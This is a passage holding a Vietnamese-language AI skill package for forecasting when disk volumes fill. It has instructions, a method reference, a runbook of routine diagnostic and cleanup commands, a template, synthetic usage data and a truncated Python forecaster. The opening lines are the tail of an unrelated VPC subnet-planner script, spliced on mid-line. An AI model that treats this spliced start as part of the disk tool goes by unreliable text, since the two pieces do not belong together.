r = plan(dict(base, existing=[{"name": "x", "cidr": "10.1.0.0/24"}]))
ok("outside vpc flagged", any(x["code"] == "OUTSIDE_VPC" for x in r["findings"]))
r = plan(dict(base, peers=[{"name": "vpn", "cidr": "10.0.4.0/22"}], requests=[{"name": "a", "hosts": 900, "growth": 0}]))
ok("peer overlap flagged", any(x["code"] == "PEER_OVERLAP" for x in r["findings"]))
ok("allocation avoids peer range", r["allocations"][0]["cidr"] == "10.0.0.0/22")
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/24"], "requests": [{"name": "a", "hosts": 200}]})
ok("no space flagged", any(x["code"] == "NO_SPACE" for x in r["findings"]))
r = plan({"provider": "generic", "vpc_cidrs": ["172.16.0.0/12"]})
ok("docker default flagged", any(x["code"] == "DOCKER_DEFAULT" for x in r["findings"]))
r = plan({"provider": "generic", "vpc_cidrs": ["8.8.0.0/16"]})
ok("public range flagged", any(x["code"] == "PUBLIC_RANGE" for x in r["findings"]))
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/8"]})
ok("aws vpc /8 flagged", any(x["code"] == "PREFIX_LIMIT" for x in r["findings"]))
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/22"], "requests": [{"name": "a", "hosts": 400, "zone": "z1"}, {"name": "b", "hosts": 300, "zone": "z1"}]})
ok("low headroom flagged", any(x["code"] == "LOW_HEADROOM" for x in r["findings"]))
ok("single zone flagged", any(x["code"] == "SINGLE_ZONE" for x in r["findings"]))
r = plan(dict(base, requests=[{"name": "a", "hosts": 10, "prefix": 30}]))
ok("forced /30 on aws flagged", any(x["code"] == "PREFIX_LIMIT" for x in r["findings"]))
r = plan(dict(base, requests=[{"name": "a", "hosts": 1000}]))
ok("free blocks cover rest", sum(ip.ip_network(b).num_addresses for b in r["free_blocks"]) == 65536 - 2048)
for bad, label in ((dict(base, vpc_cidrs=[]), "empty vpc"), (dict(base, vpc_cidrs=["10.0.0.1/16"]), "host bits set"),
(dict(base, provider="oracle"), "unknown provider"), (dict(base, requests=[{"hosts": 0}]), "zero hosts"),
(dict(base, vpc_cidrs=["10.0.0.0/16", "10.0.128.0/17"]), "overlapping vpcs"),
(dict(base, vpc_cidrs=["fd00::/48"]), "ipv6")):
try:
plan(bad)
ok(label + " rejected", False)
except PlanError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Plan and check VPC subnet CIDR blocks.")
ap.add_argument("file", nargs="?", help="network plan JSON")
ap.add_argument("--json", action="store_true", help="print machine-readable JSON")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a plan JSON file or --self-test")
try:
cfg = json.load(open(a.file, encoding="utf-8"))
res = plan(cfg)
except (OSError, json.JSONDecodeError, PlanError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else report(res), end="" if not a.json else "\n")
return 1 if any(x["severity"] == "HIGH" for x in res["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Dự báo thời điểm các ổ đĩa và phân vùng (volume) sẽ đầy dựa trên các mẫu dữ liệu mức sử dụng (tệp CSV gồm dấu thời gian, phân vùng, dung lượng đã dùng và tổng dung lượng). Ước lượng tốc độ tăng trưởng tổng thể và trong tuần gần nhất, loại bỏ các bước nhảy đột biến một lần khỏi xu hướng, đồng thời đưa ra số ngày và ngày cụ thể chạm ngưỡng đầy 80, 90, 95 và 100% cùng mức dung lượng đề xuất để duy trì khoảng dự phòng 90 ngày. Cảnh báo các phân vùng sắp đầy, tốc độ tăng trưởng đang tăng tốc, các bước nhảy đột ngột, xu hướng nhiễu và dữ liệu quá mỏng. Bao gồm công cụ dự báo viết bằng thư viện chuẩn Python kèm tùy chọn --self-test.
---
name: disk-capacity-runway-forecaster
description: Dự báo thời điểm các ổ đĩa và phân vùng (volume) sẽ đầy dựa trên các mẫu dữ liệu mức sử dụng (tệp CSV gồm dấu thời gian, phân vùng, dung lượng đã dùng và tổng dung lượng). Ước lượng tốc độ tăng trưởng tổng thể và trong tuần gần nhất, loại bỏ các bước nhảy đột biến một lần khỏi xu hướng, đồng thời đưa ra số ngày và ngày cụ thể chạm ngưỡng đầy 80, 90, 95 và 100% cùng mức dung lượng đề xuất để duy trì khoảng dự phòng 90 ngày. Cảnh báo các phân vùng sắp đầy, tốc độ tăng trưởng đang tăng tốc, các bước nhảy đột ngột, xu hướng nhiễu và dữ liệu quá mỏng. Bao gồm công cụ dự báo viết bằng thư viện chuẩn Python kèm tùy chọn --self-test.
---
# Công cụ Dự báo Thời gian Cạn kiệt Dung lượng Ổ đĩa
Bạn giúp các kỹ sư trực ca (on-call) và quản trị viên hệ thống trả lời câu hỏi "khi nào ổ đĩa này sẽ đầy, và chúng ta nên làm gì trước thời điểm đó?". Từ các mẫu dữ liệu mức sử dụng được xuất ra từ hệ thống giám sát (Prometheus, CloudWatch, Datadog, Zabbix, hoặc một cron job chạy lệnh `df`), bạn tính toán thời gian còn lại (runway) cho từng phân vùng, xếp hạng các phân vùng theo mức độ khẩn cấp, giải thích lý do vì sao dự báo có thể sai lệch, và đề xuất các biện pháp xử lý cụ thể: dọn dẹp, xoay vòng nhật ký (rotate), mở rộng dung lượng (resize) hoặc di chuyển dữ liệu.
## Các tệp trong kỹ năng này
- `scripts/disk_runway.py` - đọc tệp CSV chứa các mẫu dữ liệu, ước lượng tốc độ tăng trưởng và in ra bảng xếp hạng thời gian cạn kiệt dung lượng kèm theo các phát hiện và kích thước đề xuất (chỉ dùng thư viện chuẩn Python 3)
- `references/forecasting-method.md` - cách tính xu hướng, tốc độ gần đây, các bước nhảy đột biến một lần, thời gian còn lại và kích thước đề xuất, cùng những giới hạn của phương pháp dự báo tuyến tính
- `references/disk-full-runbook.md` - cách tìm nguyên nhân gây tăng dung lượng, các bước dọn dẹp an toàn, chính sách lưu trữ nhật ký và bản sao lưu, cách mở rộng dung lượng trên Linux và trên đám mây, ngưỡng cảnh báo
- `templates/capacity-review.md` - mẫu báo cáo đánh giá dung lượng để chia sẻ với nhóm hoặc đính kèm vào ticket
- `examples/fleet-disk-usage.csv` - các mẫu dữ liệu hàng ngày trong ba tuần của bốn phân vùng: một cơ sở dữ liệu tăng trưởng ổn định, một phân vùng chứa log có xoay vòng, một CI runner đang tăng tốc độ tiêu thụ và một thiết bị lưu trữ sao lưu NAS có một bước nhảy đột biến một lần
## Quy trình làm việc
### 1. Thu thập các mẫu dữ liệu
Yêu cầu cung cấp các mẫu dữ liệu của ít nhất một tuần (tốt nhất là 3-4 tuần) cho mỗi phân vùng: dấu thời gian (timestamp), phân vùng (host:mount), số GB đã dùng và tổng số GB kích thước. Ví dụ về các nguồn dữ liệu: Prometheus `node_filesystem_size_bytes - node_filesystem_avail_bytes`, CloudWatch `disk_used_percent` kết hợp với kích thước phân vùng, hoặc lệnh `df -BG --output=target,used,size` từ cron. Đồng thời hỏi xem dữ liệu gì đang nằm trên mỗi phân vùng và các sự kiện đã biết (di chuyển dữ liệu, bản sao lưu mới, đợt phát hành mới).
### 2. Chạy công cụ dự báo
```
python3 scripts/disk_runway.py examples/fleet-disk-usage.csv
python3 scripts/disk_runway.py usage.csv --horizon 180 --json
python3 scripts/disk_runway.py --self-test
```
Mã thoát (exit code) 1 nghĩa là có phân vùng ở mức CRITICAL hoặc HIGH, 2 nghĩa là dữ liệu đầu vào bị lỗi.
### 3. Giải thích và hành động
Bắt đầu với các phân vùng ở mức CRITICAL và HIGH. Với mỗi phân vùng, hãy nêu rõ thứ gì đang phình to và với tốc độ bao nhiêu, ngày nào sẽ chạm ngưỡng 90% và 100%, cùng hành động an toàn nhanh nhất từ `references/disk-full-runbook.md`. Hãy xem các kết quả có gắn cờ NOISY_TREND và FEW_SAMPLES là ước tính sơ bộ. Đối với SUDDEN_JUMP, hãy xác nhận nguyên nhân (một bộ sao lưu mới, một bản kết xuất cơ sở dữ liệu, một đợt bùng nổ log) trước khi lập kế hoạch xoay quanh nó. Sử dụng `references/forecasting-method.md` để giải thích lý do vì sao tốc độ gần đây có thể được ưu tiên áp dụng hơn xu hướng dài hạn.
### 4. Bàn giao kết quả
Điền vào `templates/capacity-review.md` bảng số liệu, các hành động cần làm, người phụ trách và thời hạn, đồng thời đề xuất các ngưỡng cảnh báo (ví dụ: cảnh báo warning ở mức 80% hoặc còn 14 ngày dung lượng, gọi trực khẩn cấp page ở mức 90% hoặc còn 3 ngày).
## Kết quả ví dụ
Đối với `examples/fleet-disk-usage.csv` (mẫu cuối cùng lúc 2026-10-21 06:00): ci-runner01:/ ở mức HIGH, đã đầy 80% và đang tăng 5.6 GB/ngày trong tuần qua so với 2.1 tổng thể, sẽ chạm 90% sau 3.6 ngày và đầy hoàn toàn vào ngày 2026-10-28; db01:/var/lib/postgresql tăng đều đặn 3 GB/ngày và chạm ngưỡng 80% sau 13.3 ngày (mức MEDIUM, dung lượng đề xuất 790 GB); backup-nas có một bước nhảy đột biến một lần +405.6 GB vào ngày 2026-10-16 không bị ngoại suy tiếp, còn 120 ngày nữa mới tới ngưỡng 80%; web01:/var/log ở mức OK nhưng dữ liệu nhiễu (do xoay vòng log).
## Quy tắc
- Không bao giờ gợi ý xóa dữ liệu mà không nêu chính xác cần xóa gì, cách kiểm tra tính an toàn và cách khôi phục; hãy ưu tiên xoay vòng log, nén dữ liệu, áp dụng chính sách lưu giữ (retention) và mở rộng dung lượng.
- Nêu rõ ngày dự báo được tính dựa trên tốc độ nào và lưu ý rằng các dự báo tuyến tính sẽ không tính đến các sự kiện đột xuất.
- Thời gian trong báo cáo tuân theo các dấu thời gian trong dữ liệu; hãy nói rõ chúng đang ở múi giờ nào.
- Không tự mình chạy các lệnh dọn dẹp hoặc mở rộng dung lượng trên hệ thống đang hoạt động (live systems); hãy cung cấp câu lệnh để người dùng tự kiểm tra và thực thi.
FILE:references/forecasting-method.md
# Phương pháp Dự báo
## Đầu vào
Mỗi mẫu dữ liệu là một dòng: `timestamp,volume,used_gb,size_gb`. Các dòng có thể chưa được sắp xếp và trộn lẫn giữa nhiều phân vùng. Giá trị `size_gb` mới nhất sẽ được sử dụng, nhờ đó việc thay đổi kích thước trong khoảng thời gian lấy mẫu vẫn được xử lý chính xác.
## Tốc độ tăng trưởng
- **Tốc độ tổng thể (Overall rate):** hệ số góc bình phương tối thiểu (least-squares slope) của số GB đã dùng theo thời gian (GB/ngày) trên toàn bộ các mẫu dữ liệu. Hệ số R^2 (từ 0 đến 1) cho biết mức độ khớp của đường thẳng: xấp xỉ 1.0 đối với mức tăng trưởng đều đặn, dưới 0.5 đối với các mẫu hình răng cưa như xoay vòng log hoặc tệp tạm.
- **Tốc độ gần đây (Recent rate):** cùng hệ số góc đó nhưng tính trên 7 ngày gần nhất (hoặc một phần ba dữ liệu cuối cùng khi tổng thời gian ít hơn 14 ngày). Chỉ số này giúp phát hiện mức tăng trưởng vừa mới tăng tốc.
- **Tốc độ tính thời gian cạn kiệt (Runway rate):** lấy giá trị xấu hơn (cao hơn) giữa hai tốc độ trên. Khi tốc độ gần đây lớn hơn 1.5 lần tốc độ tổng thể, phân vùng đó sẽ được gắn cờ ACCELERATING (đang tăng tốc).
## Các bước nhảy đột biến một lần (One-off jumps)
Một bước nhảy giữa hai mẫu dữ liệu lớn hơn 5% kích thước phân vùng được coi là một sự kiện đơn lẻ (một bộ sao lưu mới, một bản dump vừa khôi phục, một tệp tải lên kích thước lớn). Phần dung lượng này vẫn được giữ nguyên trong mức sử dụng hiện tại nhưng được loại bỏ khỏi xu hướng tăng trưởng: các điểm dữ liệu phía sau được dịch xuống một khoảng bằng độ lớn bước nhảy trừ đi mức tăng thông thường, nhằm tránh việc ngoại suy một sự kiện đơn lẻ kéo dài mãi mãi. Bước nhảy này được báo cáo là SUDDEN_JUMP để con người có thể xác nhận xem nó có thực sự là sự kiện một lần hay không. Nếu sự kiện này lặp lại (chẳng hạn sao lưu toàn bộ hàng tuần), hãy thu thập dữ liệu dài hơn để quy luật đó trở thành một phần của xu hướng, hoặc chủ động tính riêng bước nhảy tiếp theo vào kế hoạch.
## Thời gian còn lại (Runway)
Đối với mỗi ngưỡng T trong các mức 80, 90, 95 và 100%:
`số ngày = (T x kích thước - mức dùng hiện tại) / tốc độ tính thời gian cạn kiệt`, được tính từ mẫu dữ liệu cuối cùng. Giá trị bằng 0 nghĩa là ngưỡng đó đã bị vượt qua; "never" (không bao giờ) nghĩa là mức sử dụng đang đi ngang hoặc giảm xuống.
Ngày dự kiến bằng thời điểm của mẫu dữ liệu cuối cùng cộng thêm số ngày còn lại, theo cùng múi giờ với dữ liệu gốc.
## Kích thước đề xuất
Bội số nhỏ nhất của 10 GB giúp giữ mức sử dụng dưới 80% trong toàn bộ khung thời gian dự báo (horizon, mặc định là 90 ngày):
`kích thước >= (mức dùng hiện tại + tốc độ tính thời gian cạn kiệt x khung thời gian) / 0.8`, và không bao giờ nhỏ hơn kích thước hiện tại.
Ví dụ: đã dùng 128 GB, tăng 2 GB/ngày, khung thời gian 180 ngày -> (128 + 360) / 0.8 = 610 GB.
## Các mức trạng thái
| Trạng thái | Quy tắc |
|---|---|
| CRITICAL | Đã dùng từ 95% trở lên, hoặc sẽ đầy trong vòng 7 ngày |
| HIGH | Chạm ngưỡng 90% trong vòng 14 ngày |
| MEDIUM | Chạm ngưỡng 80% trong vòng 30 ngày, hoặc đang tăng tốc, hoặc có bước nhảy đột ngột |
| OK | Không thuộc các trường hợp trên |
## Những giới hạn
- Một đường thẳng không thể nhìn thấy các sự kiện trong tương lai: một đợt di chuyển dữ liệu, một khách hàng mới, hay mức ghi log bị bỏ quên ở chế độ DEBUG.
- Hệ thống tệp (filesystem) thường gặp trục trặc trước khi chạm mức 100%: ext4 dành riêng khoảng 5% cho quyền root, cơ sở dữ liệu cần không gian trống để chạy vacuum, nén dữ liệu (compaction) hoặc xây dựng chỉ mục (index), và một số luồng ghi dữ liệu đã bắt đầu lỗi ở mức 90-95%.
- Cạn kiệt inode (`df -i`) có thể làm đầy ổ đĩa ngay cả khi vẫn còn trống rất nhiều GB; hãy dự báo số lượng inode theo cách tương tự nếu hệ thống ghi nhiều tệp nhỏ.
- Lưu trữ cấp phát mỏng (thin-provisioned) và lưu trữ dùng chung (LVM thin pools, SAN, Ceph) có thể bị đầy ở tầng bên dưới ngay cả khi phân vùng bên trên trông vẫn còn trống.
FILE:references/disk-full-runbook.md
# Sổ tay Xử lý Ổ đĩa Đầy (Disk Full Runbook)
## 1. Tìm nguyên nhân gây tăng dung lượng
```
df -h /mount; df -i /mount # dung lượng và số inode
sudo du -xh --max-depth=2 /mount | sort -h | tail -20
sudo find /mount -xdev -type f -size +1G -mtime -7 -exec ls -lh {} +
sudo lsof +L1 # các tệp đã xóa nhưng vẫn đang được tiến trình giữ mở
journalctl --disk-usage
docker system df # images, containers, volumes, build cache
```
Các tệp đã xóa nhưng vẫn đang mở sẽ tiếp tục chiếm dung lượng cho đến khi tiến trình khởi động lại hoặc mở lại tệp log.
## 2. Các giải pháp xử lý nhanh an toàn (kiểm tra kỹ trước khi xóa)
| Nguồn tiêu thụ | Hành động |
|---|---|
| Nhật ký ứng dụng (Application logs) | cấu hình logrotate với `compress`, `maxsize`, `rotate N`; đẩy log về hệ thống lưu trữ tập trung |
| Nhật ký systemd (systemd journal) | chạy `journalctl --vacuum-size=1G`, thiết lập `SystemMaxUse=` |
| Docker / CI runners | chạy `docker image prune -a --filter until=168h`, `docker builder prune`; dọn sạch các thư mục làm việc của runner |
| Bộ nhớ đệm gói cài đặt (Package caches) | chạy `apt-get clean`, `dnf clean all`, xóa các bản nhân (kernel) cũ |
| Cơ sở dữ liệu | lưu trữ (archive) hoặc xóa các phân vùng bảng (partition) cũ, chạy `VACUUM` / đóng gói lại bảng (repack), kiểm tra thời gian lưu giữ WAL hoặc binlog và các khe nhân bản (replication slots) bị kẹt |
| Bản sao lưu (Backups) | áp dụng chính sách lưu giữ; chuyển các bộ sao lưu cũ sang lưu trữ đối tượng (object storage) hoặc tầng lưu trữ lạnh (cold tier) |
| Core dumps, heap dumps, tmp | xóa sau khi người phụ trách sự cố xác nhận |
Không bao giờ dùng lệnh `rm` với tệp mà cơ sở dữ liệu đang sử dụng; không bao giờ tự xóa WAL hoặc binlog bằng tay.
## 3. Mở rộng dung lượng (Resize)
- **AWS EBS:** sửa đổi kích thước volume, đợi chuyển sang trạng thái optimizing, sau đó chạy `sudo growpart /dev/nvme0n1 1` và `sudo resize2fs /dev/nvme0n1p1` (đối với ext4) hoặc `sudo xfs_growfs /mount` (đối với xfs). Mỗi volume chỉ được tăng kích thước một lần mỗi 6 giờ.
- **Azure managed disk / GCP persistent disk:** tăng kích thước đĩa (Azure có thể yêu cầu giải phóng VM - deallocate đối với một số loại đĩa), sau đó mở rộng phân vùng và hệ thống tệp theo cách tương tự.
- **LVM:** lệnh `lvextend -r -L +100G vg/lv` sẽ đồng thời mở rộng luôn cả hệ thống tệp.
- **Kubernetes PVC:** chỉnh sửa `spec.resources.requests.storage` khi StorageClass có thiết lập `allowVolumeExpansion: true`.
Các phân vùng có thể mở rộng nhưng hiếm khi thu nhỏ lại được, vì vậy hãy tăng kích thước khớp với mức dự báo chứ đừng tăng vượt quá xa.
## 4. Thiết lập cảnh báo đủ thời gian để xử lý
- Cảnh báo (Warn) ở mức đã dùng 80% hoặc còn 14 ngày dung lượng; gọi trực khẩn cấp (Page) ở mức 90% hoặc còn 3 ngày dung lượng (trên Prometheus dùng các quy tắc dạng `predict_linear(node_filesystem_avail_bytes[6h], 4*3600) < 0`).
- Cảnh báo khi mức sử dụng inode vượt quá 85%.
- Rà soát dung lượng hàng tháng bằng báo cáo của kỹ năng này; cộng thêm mức tăng trưởng dự kiến từ các đợt ra mắt sản phẩm đã lên kế hoạch bằng tay.
FILE:templates/capacity-review.md
# Báo cáo Đánh giá Dung lượng - <dịch vụ / cụm máy chủ> - <ngày>
**Dữ liệu:** <nguồn>, từ <mẫu đầu tiên> đến <mẫu cuối cùng> (<múi giờ>) **Khung thời gian dự báo:** <90> ngày **Người đánh giá:** <tên>
## Thời gian cạn kiệt dung lượng (Runway)
| Phân vùng | Trạng thái | Đã dùng | Kích thước | Tốc độ tăng GB/ngày (tổng thể / gần đây) | Chạm 90% vào | Đầy vào | Kích thước đề xuất |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## Nguyên nhân gây tăng dung lượng
| Phân vùng | Thành phần tiêu thụ chính | Bằng chứng | Đột biến một lần hay diễn ra liên tục |
|---|---|---|---|
| | | | |
## Hành động cần thực hiện
| Phân vùng | Hành động | Người phụ trách | Thời hạn | Dung lượng thu hồi / mở rộng |
|---|---|---|---|---|
| | | | | |
## Cảnh báo
- Cảnh báo (Warning): <80% hoặc còn 14 ngày> - Gọi trực (Page): <90% hoặc còn 3 ngày> - Inodes: <85%>
## Đợt rà soát tiếp theo
<ngày>; chạy lại công cụ dự báo với các mẫu dữ liệu mới nhất
FILE:examples/fleet-disk-usage.csv
timestamp,volume,used_gb,size_gb
2026-10-01T06:00,db01:/var/lib/postgresql,300.0,500
2026-10-01T06:00,web01:/var/log,21.0,100
2026-10-01T06:00,ci-runner01:/,110.0,200
2026-10-01T06:00,backup-nas:/srv/backups,2100.0,4000
2026-10-02T06:00,db01:/var/lib/postgresql,303.4,500
2026-10-02T06:00,web01:/var/log,24.4,100
2026-10-02T06:00,ci-runner01:/,111.4,200
2026-10-02T06:00,backup-nas:/srv/backups,2105.4,4000
2026-10-03T06:00,db01:/var/lib/postgresql,305.7,500
2026-10-03T06:00,web01:/var/log,26.7,100
2026-10-03T06:00,ci-runner01:/,111.7,200
2026-10-03T06:00,backup-nas:/srv/backups,2109.7,4000
2026-10-04T06:00,db01:/var/lib/postgresql,309.2,500
2026-10-04T06:00,web01:/var/log,30.2,100
2026-10-04T06:00,ci-runner01:/,113.2,200
2026-10-04T06:00,backup-nas:/srv/backups,2115.2,4000
2026-10-05T06:00,db01:/var/lib/postgresql,311.9,500
2026-10-05T06:00,web01:/var/log,32.9,100
2026-10-05T06:00,ci-runner01:/,113.9,200
2026-10-05T06:00,backup-nas:/srv/backups,2119.9,4000
2026-10-06T06:00,db01:/var/lib/postgresql,315.5,500
2026-10-06T06:00,web01:/var/log,22.5,100
2026-10-06T06:00,ci-runner01:/,115.5,200
2026-10-06T06:00,backup-nas:/srv/backups,2125.5,4000
2026-10-07T06:00,db01:/var/lib/postgresql,317.6,500
2026-10-07T06:00,web01:/var/log,24.6,100
2026-10-07T06:00,ci-runner01:/,115.6,200
2026-10-07T06:00,backup-nas:/srv/backups,2129.6,4000
2026-10-08T06:00,db01:/var/lib/postgresql,321.1,500
2026-10-08T06:00,web01:/var/log,28.1,100
2026-10-08T06:00,ci-runner01:/,117.1,200
2026-10-08T06:00,backup-nas:/srv/backups,2135.1,4000
2026-10-09T06:00,db01:/var/lib/postgresql,324.3,500
2026-10-09T06:00,web01:/var/log,31.3,100
2026-10-09T06:00,ci-runner01:/,118.3,200
2026-10-09T06:00,backup-nas:/srv/backups,2140.3,4000
2026-10-10T06:00,db01:/var/lib/postgresql,326.8,500
2026-10-10T06:00,web01:/var/log,33.8,100
2026-10-10T06:00,ci-runner01:/,118.8,200
2026-10-10T06:00,backup-nas:/srv/backups,2144.8,4000
2026-10-11T06:00,db01:/var/lib/postgresql,330.0,500
2026-10-11T06:00,web01:/var/log,23.0,100
2026-10-11T06:00,ci-runner01:/,120.0,200
2026-10-11T06:00,backup-nas:/srv/backups,2150.0,4000
2026-10-12T06:00,db01:/var/lib/postgresql,333.4,500
2026-10-12T06:00,web01:/var/log,26.4,100
2026-10-12T06:00,ci-runner01:/,121.4,200
2026-10-12T06:00,backup-nas:/srv/backups,2155.4,4000
2026-10-13T06:00,db01:/var/lib/postgresql,335.7,500
2026-10-13T06:00,web01:/var/log,28.7,100
2026-10-13T06:00,ci-runner01:/,121.7,200
2026-10-13T06:00,backup-nas:/srv/backups,2159.7,4000
2026-10-14T06:00,db01:/var/lib/postgresql,339.2,500
2026-10-14T06:00,web01:/var/log,32.2,100
2026-10-14T06:00,ci-runner01:/,123.2,200
2026-10-14T06:00,backup-nas:/srv/backups,2165.2,4000
2026-10-15T06:00,db01:/var/lib/postgresql,341.9,500
2026-10-15T06:00,web01:/var/log,34.9,100
2026-10-15T06:00,ci-runner01:/,123.9,200
2026-10-15T06:00,backup-nas:/srv/backups,2169.9,4000
2026-10-16T06:00,db01:/var/lib/postgresql,345.5,500
2026-10-16T06:00,web01:/var/log,24.5,100
2026-10-16T06:00,ci-runner01:/,130.5,200
2026-10-16T06:00,backup-nas:/srv/backups,2575.5,4000
2026-10-17T06:00,db01:/var/lib/postgresql,347.6,500
2026-10-17T06:00,web01:/var/log,26.6,100
2026-10-17T06:00,ci-runner01:/,135.6,200
2026-10-17T06:00,backup-nas:/srv/backups,2579.6,4000
2026-10-18T06:00,db01:/var/lib/postgresql,351.1,500
2026-10-18T06:00,web01:/var/log,30.1,100
2026-10-18T06:00,ci-runner01:/,142.1,200
2026-10-18T06:00,backup-nas:/srv/backups,2585.1,4000
2026-10-19T06:00,db01:/var/lib/postgresql,354.3,500
2026-10-19T06:00,web01:/var/log,33.3,100
2026-10-19T06:00,ci-runner01:/,148.3,200
2026-10-19T06:00,backup-nas:/srv/backups,2590.3,4000
2026-10-20T06:00,db01:/var/lib/postgresql,356.8,500
2026-10-20T06:00,web01:/var/log,35.8,100
2026-10-20T06:00,ci-runner01:/,153.8,200
2026-10-20T06:00,backup-nas:/srv/backups,2594.8,4000
2026-10-21T06:00,db01:/var/lib/postgresql,360.1,500
2026-10-21T06:00,web01:/var/log,25.1,100
2026-10-21T06:00,ci-runner01:/,160.1,200
2026-10-21T06:00,backup-nas:/srv/backups,2600.1,4000
FILE:scripts/disk_runway.py
#!/usr/bin/env python3
"""Disk capacity runway forecaster (Python 3 standard library only).
Input: CSV with a header row and columns
timestamp,volume,used_gb,size_gb
timestamp is ISO 8601 ("2026-10-01T00:00", "2026-10-01 06:00" or a date); one row per sample,
any order, several volumes in one file. size_gb may change (a resize); the latest value is used.
Model per volume:
- growth rate = least-squares slope of used_gb over time (GB/day), plus R^2 for fit quality;
one-off steps larger than 5% of the size are kept in current usage but removed from the trend
- recent rate = slope over the last 7 days of samples (or the last third if shorter)
- runway to 80/90/95/100% full = (threshold x size - used now) / max(rate, recent rate),
counted from the LAST sample (not from today), so results are reproducible
- suggested size: smallest whole 10 GB step that keeps the volume under 80% for
--horizon days (default 90) at the worse of the two rates
Status / findings (severity):
CRITICAL FULL_SOON 100% within 7 days, or already >= 95% used
HIGH RUNWAY_SHORT 90% within 14 days
MEDIUM RUNWAY_WATCH 80% within 30 days
MEDIUM ACCELERATING recent rate > 1.5x the overall rate (and > 0.1 GB/day)
MEDIUM SUDDEN_JUMP one step grew by more than 5% of the volume size
LOW NOISY_TREND R^2 < 0.5: usage swings (log rotation, temp files); trust less
LOW SHRINKING usage is falling; no runway
LOW FEW_SAMPLES fewer than 4 samples or under 2 days of data
Usage:
python3 disk_runway.py usage.csv
python3 disk_runway.py usage.csv --horizon 180 --json
python3 disk_runway.py --self-test
Exit code: 0 no CRITICAL/HIGH, 1 CRITICAL or HIGH findings, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import io
import json
import math
import sys
THRESHOLDS = (0.8, 0.9, 0.95, 1.0)
class DataError(ValueError):
pass
def parse_time(s):
s = s.strip().replace("Z", "+00:00")
try:
t = dt.datetime.fromisoformat(s)
except ValueError:
raise DataError(f"bad timestamp {s!r}")
return t.replace(tzinfo=None) if t.tzinfo is None else t.astimezone(dt.timezone.utc).replace(tzinfo=None)
def read_rows(text):
rd = csv.DictReader(io.StringIO(text))
need = {"timestamp", "volume", "used_gb", "size_gb"}
if not rd.fieldnames or not need <= {f.strip() for f in rd.fieldnames}:
raise DataError(f"CSV header must contain {', '.join(sorted(need))}")
vols = {}
for n, row in enumerate(rd, start=2):
row = {k.strip(): (v or "").strip() for k, v in row.items() if k}
if not any(row.values()):
continue
try:
used, size = float(row["used_gb"]), float(row["size_gb"])
except ValueError:
raise DataError(f"line {n}: used_gb and size_gb must be numbers")
if size <= 0 or used < 0:
raise DataError(f"line {n}: size_gb must be > 0 and used_gb >= 0")
vols.setdefault(row["volume"] or "(unnamed)", []).append((parse_time(row["timestamp"]), used, size))
if not vols:
raise DataError("no data rows")
return {k: sorted(v) for k, v in vols.items()}
def slope(points):
"""points: [(days, value)] -> (slope per day, r2)"""
n = len(points)
if n < 2:
return 0.0, 0.0
mx = sum(p[0] for p in points) / n
my = sum(p[1] for p in points) / n
sxx = sum((p[0] - mx) ** 2 for p in points)
if sxx == 0:
return 0.0, 0.0
sxy = sum((p[0] - mx) * (p[1] - my) for p in points)
b = sxy / sxx
syy = sum((p[1] - my) ** 2 for p in points)
r2 = 1.0 if syy == 0 else (sxy * sxy) / (sxx * syy)
return b, r2
def analyze(samples, horizon=90):
t0 = samples[0][0]
last_t, used, size = samples[-1]
# one-off steps (> 5% of size in one sample) are removed from the trend, not extrapolated
steps = [samples[i][1] - samples[i - 1][1] for i in range(1, len(samples))]
normal = sorted(x for x in steps if x <= 0.05 * size)
typical = normal[len(normal) // 2] if normal else 0.0
shift, pts = 0.0, []
for i, (t, u, _) in enumerate(samples):
if i and steps[i - 1] > 0.05 * size:
shift += steps[i - 1] - typical
pts.append(((t - t0).total_seconds() / 86400, u - shift))
span = pts[-1][0]
rate, r2 = slope(pts)
cut = pts[-1][0] - 7 if span >= 14 else pts[-1][0] - span / 3
recent_pts = [p for p in pts if p[0] >= cut]
recent, _ = slope(recent_pts) if len(recent_pts) >= 2 else (rate, 0)
worst = max(rate, recent)
pct = used / size
runway = {}
for th in THRESHOLDS:
left = th * size - used
if left <= 0:
runway[th] = (0.0, last_t)
elif worst > 1e-9:
d = left / worst
runway[th] = (d, last_t + dt.timedelta(days=d))
else:
runway[th] = (None, None)
need = used + max(worst, 0) * horizon
suggest = max(size, math.ceil(need / 0.8 / 10) * 10)
findings = []
def f(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
d100, d90, d80 = runway[1.0][0], runway[0.9][0], runway[0.8][0]
if pct >= 0.95 or (d100 is not None and d100 <= 7):
f("CRITICAL", "FULL_SOON", f"{pct:.0%} used; full in {fmt_days(d100)}")
elif d90 is not None and d90 <= 14:
f("HIGH", "RUNWAY_SHORT", f"90% in {fmt_days(d90)}")
elif d80 is not None and d80 <= 30:
f("MEDIUM", "RUNWAY_WATCH", f"80% in {fmt_days(d80)}")
if rate > 0 and recent > 1.5 * rate and recent > 0.1:
f("MEDIUM", "ACCELERATING", f"last-week rate {recent:.2f} GB/day vs overall {rate:.2f} GB/day")
jumps = [(samples[i][0], samples[i][1] - samples[i - 1][1]) for i in range(1, len(samples))]
big = [j for j in jumps if j[1] > 0.05 * size]
if big:
t, g = max(big, key=lambda j: j[1])
f("MEDIUM", "SUDDEN_JUMP", f"+{g:.1f} GB in one step at {t:%Y-%m-%d %H:%M} (backup, dump, log burst?)")
if len(pts) >= 4 and r2 < 0.5 and worst > 0:
f("LOW", "NOISY_TREND", f"R^2 {r2:.2f}; usage swings, so treat the runway as rough")
if worst < 0:
f("LOW", "SHRINKING", f"usage falling {rate:.2f} GB/day")
if len(pts) < 4 or span < 2:
f("LOW", "FEW_SAMPLES", f"{len(pts)} samples over {span:.1f} days; collect more data")
rank = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
findings.sort(key=lambda x: rank[x["severity"]])
return {"last_sample": last_t.strftime("%Y-%m-%d %H:%M"), "used_gb": round(used, 2), "size_gb": size,
